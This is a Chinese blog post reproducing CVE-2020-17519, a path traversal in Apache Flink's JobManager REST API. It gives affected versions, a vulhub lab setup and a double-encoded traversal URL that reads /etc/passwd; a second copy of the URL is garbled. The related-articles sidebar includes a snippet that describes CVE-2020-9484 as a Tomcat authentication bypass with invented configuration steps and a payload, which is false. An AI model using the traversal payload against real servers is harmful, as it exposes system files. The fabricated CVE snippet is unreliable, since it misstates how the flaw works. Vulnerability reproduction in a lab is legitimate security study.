CVE-2020-17519 漏洞复现

最新推荐文章于 2024-05-21 13:42:27 发布
最新推荐文章于 2024-05-21 13:42:27 发布
阅读量1.3k 收藏
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43885355/article/details/113459747
版权

CVE-2020-17519

0x00 简介

Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎，Flink提供了诸多更高抽象层的API以便用户编写分布式任务。

0x01 漏洞概述

CVE-2020-17519 任意文件读取漏洞

Apache Flink 1.11.0中引入了一项更新，该更新在1.11.1及更高的版本和1.11.2中发布。

该项更新允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件。

0x02 影响版本

至目前最新版本Apache Flink

1.11.0

1.11.1

1.11.2

0x03 环境搭建

测试环境：Flink 1.11.1 java8+
Apache Flink 1.11.1安装包下载

https://archive.apache.org/dist/flink/flink-1.11.1/flink-1.11.1-bin-scala_2.11.tgz

解压后进入bin文件夹，运行./start-cluster.sh

或者在虚拟机内搭建 docker 环境

https://www.jianshu.com/p/996e08b7976d

然后
git clone https://github.com/phith0n/vulhub.git

验证Flink启动之后，默认web 端口8081是否正常


访问http://ip:8081/可看到环境页面

0x04 漏洞利用

POC：http://you-ip/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

具体的快乐，就留给各位自己体会了

http://127.0.0.1/jobmanager/logs/..%252f..%252f..%252fer..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

 

 

xiaohuanxong
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2020-17519/17518 Apache Flink 文件操作漏洞复现
ximo的博客
03-31 479
简介 Apache Flink是由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎。 漏洞简介 CVE-2020-17518攻击者利用REST API，可以修改HTTP头，将上传的文件写入到本地文件系统上的任意位置（Flink 1.5.1进程能访问到的）。 CVE-2020-17519Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件（JobManager进程能访问
CVE-2020-2883漏洞复现
锋刃科技的博客
09-12 1874
影响版本 Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 12.2.1.3.0 Oracle WebLogic Server 12.2.1.4.0 环境搭建 我这里使用得是12.1.3.0.0 选择第三个选项，其他默认 Your-IP:7001/console打开网站即可 Poc地址：https://github.com/zhzyker/exphu
一次CTF获取Flag的过程
战神/calmness的博客
05-11 9227
获取Flag 目录 Nmap扫描端口 dirb或者 dirsarch,御剑等工具进行目录遍历 修改Cookie得到管理员 SQL注入 文件包含 文件上传 RCE Nmap扫描端口 dirb或者 dirsarch,御剑等工具进行目录遍历 修改Cookie得到管理员 SQL注入 文件包含 参数file= /etc/passwd 之后，PHP伪协议 http://192.168.181.136/show_employee.php...
春秋云境CVE-2020-26048
最新发布
2303_76653367的博客
05-21 438
CuppaCMS是一套内容管理系统（CMS）。CuppaCMS 2019-11-12之前版本存在安全漏洞，攻击者可利用该漏洞在图像扩展内上传恶意文件，通过使用文件管理器提供的重命名函数的自定义请求，可以将图像扩展修改为PHP，从而导致远程任意代码执行。
[漏洞预警]Apache Flink 高危漏洞预警(CVE-2020-17518 CVE-2020-17519)
Matrix42
01-07 1859
2021年1月5日，Apache Flink官方发布安全更新，修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞： CVE-2020-17519：攻击者可通过REST API使用…/跳目录实现系统任意文件读取； CVE-2020-17518：通过构造恶意的http header，可实现远程文件写入。 1. 漏洞描述 Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。Flink 1.5.1引入了REST API，但其实现上存在多处缺陷，导致目录遍历
Apache Flink jobmanager/logs 目录穿越漏洞 CVE-2020-17519 漏洞复现
Senimo
07-28 913
Apache Flink jobmanager/logs 目录穿越漏洞 CVE-2020-17519 漏洞复现一、漏洞描述二、漏洞影响三、漏洞复现1、环境搭建2、漏洞复现四、漏洞POC五、参考链接 一、漏洞描述 ApacheFlink是一个开源的流处理框架，具有强大的流处理和批处理功能。 Apache Flink 1.11.0 中引入的更改（以及在 1.11.1 和1.11.2 中发布）允许攻击者通过 JobManager 进程的 REST 接口读取JobManager本地文件系统上的任何文件。 访问仅限于
Apache Flink(CVE-2020-17518/17519)任意文件上传和路径遍历漏洞复现
good good study
01-08 3702
目录 影响范围 docker搭建漏洞环境 漏洞复现 单个漏洞检测脚本 批量漏洞检测脚本 Apache Flink 是一个分布式流批一体化的开源平台。Flink 的核心是一个提供数据分发、通信以及自动容错的流计算引擎。Flink 在流计算之上构建批处理，并且原生的支持迭代计算，内存管理以及程序优化。式的数据分析开源系统，结合了分布式 MapReduce 类平台的高效，灵活的编程和扩展性,具有强大的流处理和批处理功能。同时在并行数据库发现查询优化方案。 2021...
CVE-2020-13699漏洞复现
锋刃科技的博客
09-18 816
简介 TeamViewer远程连接控制软件是一款随时随地连接到远程桌面电脑、移动设备及Iot,让远程连接过程更加的快速和安全,轻松实现对文件、网络及程序的实时支持或访问 影响版本 TeamViewer < 8.0.258861 TeamViewer < 9.0.28860 TeamViewer < 10.0.258873 TeamViewer < 11.0.258870 TeamViewer < 12.0.258869 TeamViewer < 13.2.3.
CVE-2020-35728:CVE-2020-35728 和 Jackson-databind RCE
05-31
描述 2.9.10.8 之前的 FasterXML jackson-databind 2.x 错误处理了与 ... web/javax.servlet.jsp.jstl）。 如何RCE pom.xml <?xml version="1.0" encoding="UTF-8"?>...
Linux本地内核提权漏洞复现(CVE-2019-13272)
m0_48520508的博客
01-19 772
0x00简介 在5.1.17之前的Linux内核中，kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录，这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系，父进程删除权限并调用execve可能允许攻击者控制。 0x01漏洞概述 Linux执行PTRACE_TRACEME函数时，ptrace_link函数将获得对父进程凭据的RCU引用，然后将该指针指向get_cred函数，但是，对象struct cred的生存周期规则不允许无条.
Apache Flink(CVE-2020-17519)路径遍历漏洞复现_附POC和批量检测脚本
szgyunyun的博客
01-06 869
声明 本文仅用于技术交流，请勿用于非法用途 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。 文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。 Apache Flink 是高效和分布式的通用数据处理平台。 Apache Flink 声明式的数据分析开源系统，结合了分布式 MapReduce 类平台的高效，灵活的
Apache Flink漏洞（CVE-2020-17519）复现以及suricata规则检测
ranuy阮的博客
01-06 1477
0x01 漏洞简介 Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。 Apache Flink 1.11.0中引入的一项更改(包括版本1.11.1和1.11.2)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。 0x02 影响版本 1.11.0 1.11.1 1.11.2 0x03 环境搭建 svn export https://github.com/vulhub/vulhub/trunk/flink/ 进入CVE-2
CVE-2020-15012：Nexus Repository Manager 2 目录遍历漏洞通告
爱国小白帽
10-09 851
CVE-2020-15012：Nexus Repository Manager 2 目录遍历漏洞通告 原创 360CERT [三六零CERT](javascript:void(0)???? 今天 报告编号：B6-2020-100901 报告来源：360CERT 报告作者：360CERT 更新日期：2020-10-09 0x01 漏洞简述 2020年10月09日，360CERT监测发现 nexus repository manager 2 发布了 nexus repository manager 2 目录穿
Apache Flink 目录遍历漏洞 CVE-2020-17519
m0_54323635的博客
08-31 408
2021年01月06日，360CERT监测发现Apache Flink发布了Apache Flink 目录穿越漏洞的风险通告，漏洞编号为CVE-2020-17518,CVE-2020-17519，漏洞等级：高危，漏洞评分：8.5。Apache Flink 1.11.0 中引入的一项更改（也在 1.11.1 和 1.11.2 中发布）允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。
探索CVE-2020-17519：一个深入理解Web安全的实战项目
gitblog_00098的博客
04-23 330
探索CVE-2020-17519：一个深入理解Web安全的实战项目 项目地址:https://gitcode.com/B1anda0/CVE-2020-17519 在网络安全领域，CVE（Common Vulnerabilities and Exposures）编号通常用于识别特定的安全漏洞。本项目【https://gitcode.net/B1anda0/CVE-2020-17519】聚焦于CV...
cve-2020-9484 漏洞复现
08-09
CVE-2020-9484是Apache Tomcat容器中的一种身份验证绕过漏洞。要复现该漏洞，我们需要满足以下条件： 1. 安装Apache Tomcat服务器：首先需要在本地或远程环境中安装Apache Tomcat服务器。确保Tomcat版本为9.0.0.M1至9.0.0.30。 2. 配置Tomcat服务器：在Tomcat的配置文件中（通常是server.xml），需要启用HTTP Connector属性中的restEnabled参数。该参数默认为false，我们需要将其设置为true。 3. 修改用户配置文件：在Tomcat配置文件的users节点中，添加一个或多个用户。为了复现漏洞，我们需要至少添加一个用户名为test的用户及其密码。 4. 启动Tomcat服务器：启动Tomcat服务器，确保它在本地或远程环境中运行。 5. 发起请求攻击：使用任何Web请求工具（如curl、Postman等），构造以下HTTP请求： POST /servlets-examples/servlet/RequestParamExample HTTP/1.1 Host: [Tomcat服务器IP地址]:[Tomcat服务器端口号] Content-Length: [content-length] Transfer-Encoding: [transfer-encoding] attName=%25%7B%25+%27test%27%2e%25+%27class%27%7d 其中，[Tomcat服务器IP地址]替换为Tomcat服务器的实际IP地址，[Tomcat服务器端口号]替换为Tomcat服务器的实际端口号，[content-length]和[transfer-encoding]分别为请求体的长度和编码方式。 6. 漏洞验证：如果成功复现漏洞，我们将获得类似以下的服务器响应： HTTP/1.1 200 OK [其他响应头信息] Content-Type: text/html;charset=UTF-8 [其他响应体信息] ${%27test%27.class} 如果响应体中包含"${'test'.class}"的引用，则漏洞已成功复现。这说明攻击者绕过了身份验证，并成功执行了恶意代码。 需要注意的是，CVE-2020-9484漏洞可能会导致未经授权的远程代码执行，攻击者可以利用此漏洞来执行任意代码，可能导致服务器受到严重影响。在验证漏洞后，建议尽快升级Tomcat服务器，安装相应的补丁或增加其他安全措施，以避免潜在的安全威胁。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值